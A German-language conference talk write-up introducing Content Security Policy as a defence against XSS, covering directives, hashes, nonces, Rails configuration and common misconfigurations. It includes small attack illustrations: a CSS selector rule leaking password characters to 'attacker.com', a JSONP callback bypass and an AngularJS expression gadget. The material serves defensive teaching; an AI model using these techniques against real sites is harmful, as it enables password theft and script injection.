Read more

Vortrag: Content Security Policy: Eine Einführung

Tobias Kraze
July 31, 2020Software engineer at makandra GmbH

Grundidee

CSP hat zum Ziel einen Browser-seitigen Mechanismus zu schaffen um einige Angriffe auf Webseiten zu verhindern, hauptsächlich XSS-Angriffe.

Einschub: Was ist XSS?

Illustration web development

Do you need DevOps-experts?

Your development team has a full backlog? No time for infrastructure architecture? Our DevOps team is ready to support you!

  • We build reliable cloud solutions with Infrastructure as code
  • We are experts in security, Linux and databases
  • We support your dev team to perform
Read more Show archive.org snapshot

XSS = Cross Site Scripting. Passiert wenn ein User ungefiltertes HTML in die Webseite einfügen kann.

<div class="comment">
  Danke für den interessanten Beitrag! <script>alert('you have been hacked')</script>
</div>

Rails löst das Problem weitgehend, aber

  • Programmierfehler weiter möglich
  • manchmal Sicherheitslücken in Gems oder Rails

Lösungsidee

Warum nicht dem Browser verbieten gefährliche Dinge zu tun, z.B. Inline-Skripte auszuführen?

Funktionsweise

Server setzt einen HTTP-Header, der detailliert beschreibt, welche (potentiell gefährlichen Dinge) die Webseite tun darf.

Support: Alle modernen Browser, nicht IE.

Beispiel Header:

content-security-policy:
  default-src 'self' https:;
  font-src 'self' https: data:;
  img-src 'self' https: data: http://www.gravatar.com;
  object-src 'none';
  script-src 'self' 'nonce-vX6tGWVUj9kl5hgbN2xh7g==';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline'; 
  connect-src 'self' https: wss:;

(vermutlich keine besonders optimale Einstellung!)

Z.B bedeutet

img-src 'self' https: data: http://www.gravatar.com;

Bilder dürfen geladen werden von

  • dem eigenen Origin
  • allen https:// -Seiten
  • aus "data:"-Urls
  • von http://www.gravatar.com

Was passiert wenn die Seite eine Regel bricht?

Image

Was kann man einschränken?

Der Standard wächst ständig, aber die wichtigsten sind:

Quellen:

  • default-src: Fallback für alles weitere *-src
  • script-src: JavaScript
  • style-src: CSS
  • font-src: Fonts
  • img-src: Bilder
  • object-src: Quellen für Plugins (z.B. Flash)
  • connect-src: Ziele für XMLHttpRequest, WebSocket, Fetch etc.
  • media-src: Quelle für <audio>, <video>, etc.
  • frame-src: Quelle für iframes
  • worker-src: Quelle für Webworker
  • child-src: Kombination für frame-src und worker-src

Andere:

  • base-uri und form-action: Schränken erlaubte Ziele von Formularen ein.
  • frame-ancestors: Beschränkt, wer uns als iframe einbetten darf.
  • block-all-mixed-content: Verbietet http:// wenn Origin https://.
  • upgrade-insecure-request: Ersetzt automatisch http:// durch https://.

script-src

Ist die wichtigste Direktive. Alles was hier erlaubt ist, kann via XSS abused werden.

style-src

Warum ist das relevant?

  • Erlaubt "Defacing" der ganzen Webseite.
  • Es gibt darüber hinaus auch andere Angriffe via CSS:
input[type="password"][value$="a"] {
  background-image: url("http://attacker.com/passwords-ends-with/a");
}

Problem: Manche Javascript-Libraries (Editoren etc) verwenden Inline-Styles.

object-src

Auch wichtig. Wenn nicht eingeschränkt, können Leute Flash laden und wieder alles machen.

Wie kann man einschränken?

Leicht unterschiedlich pro Eintrag, aber z.B. für script-src:

  • 'self': eigener Origin
  • Host: z.B. http://*.example.com
  • Protokol: z.B. https:, blob:, data:
  • 'unsafe-eval': erlaubt Verwendung von eval um beliebige Stinrgs zu JavaScript zu machen
  • 'unsafe-inline': erlaubt Inline-Scripts und javascript:...-URLs
  • 'none': erlaubt keinerlei Quellen
  • 'sha256-base64': erlaubt Skripte die einem SHA256 matchen (siehe unten)
  • 'nonce-base64': erlaubt mit Nonce markierte Skripte (siehe unten)

Skripte mit Hash erlauben

Es ist möglich ein spezielles Skript zu erlauben (wenn man z.B. von einem CDN verlinken möchte).
Dazu kann man den SHA256 des Skripts berechnen und dann erlauben.

z.B. für https://code.jquery.com/jquery-3.5.1.slim.min.js:

script-src 'sha256-4+XzXVhsDmqanXGHaHvgh1gMQKX40OUvDEBTu8JcmNs='

Inline-Skripte mit Nonces erlauben

Falls man doch ein Inline-Skript braucht (z.B. Analytics-Snippet o.ä.), kann man den nonce-Mechanismus verwenden.
Dazu generiert der Server für jeden Request einen zufälligen Wert (eine "Nonce"), und schreibt ihn in Header und an das Skript-Tag:

script-src 'self' 'nonce-vX6tGWVUj9kl5hgbN2xh7g=='
<script nonce="vX6tGWVUj9kl5hgbN2xh7g==">
// this is allowed to run
</script>

Here are some useful examples, how to add inline styles and scripts with nonce to a HAML file:

%style{type: "text/css", nonce: content_security_policy_nonce}
  :plain
    body {
      background-color: blue;
    }
    
= javascript_tag nonce: true do
  :plain
    window.addEventListener('load', () => {
      ...
    });

CSP mit Rails

Demo

  • Konfiguration via config/initializer/content_security_policy.rb
  • Überschreiben in einzelnen Controllern
  • Nonce-Support für javascript_tag

Probleme mit CSP

Fehlkonfiguration

Quiz: Wo ist das Problem?

Content-Security-Policy: script-src https://google.com 'unsafe-inline' 'self';

 

 

 

 

 

 

Content-Security-Policy: script-src 'self' https:;

 

 

 

 

 

 

Content-Security-Policy: script-src 'self' data:;

 

 

 

 

 

 

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/;

 

 

 

 

 

 

Content-Security-Policy: script-src 'self';

 

 

 

 

 

 

Nicht-offensichtliche Angriffe auf CSP

Wichtiges Paper 2016: CSP Is Dead, Long Live CSP! Show archive.org snapshot

Ergebnis: ~ 95% vorhandener CSP-Policies bieten keinen Schutz

Grund 1

Meist offensichtliche Fehlkonfiguration (Wildcards, unsichere Domains, object-src fehlt etc)

Grund 2

Bibliothek mit JSONP ist gewhitelistet:

<script src="https://whitelisted.com/path/jsonp?callback=alert(document.domain)//"> </script>

Grund 3

"JavaScript reflection gadget", Bibliothek erlaubt einen Weg DOM-Inhalte zu Code zu machen. Beispiel.

<script src="https://whitelisted.com/angular.js"></script>
<div ng-app>{{ 1000 - 1 }}</div>

Grund 4

User kann Javascript zur Domain hochladen.

Wichtig: User darf nie Dateien hochladen können, die mit Content-Type application/javascript (oder aus anderen Gründen auch text/html) ausgeliefert werden.

Mögliche Lösung

Vorschlag aus dem Paper ist, immer das hier zu nutzen:

script-src 'nonce-<random>'; default-src 'none'

Danke

Fragen?

Folien unter https://makandracards.com/makandra/482827-content-security-policy-eine-einfuehrung


Real-world examples

Tobias Kraze
July 31, 2020Software engineer at makandra GmbH
Posted by Tobias Kraze to makandra dev (2020-07-31 12:13)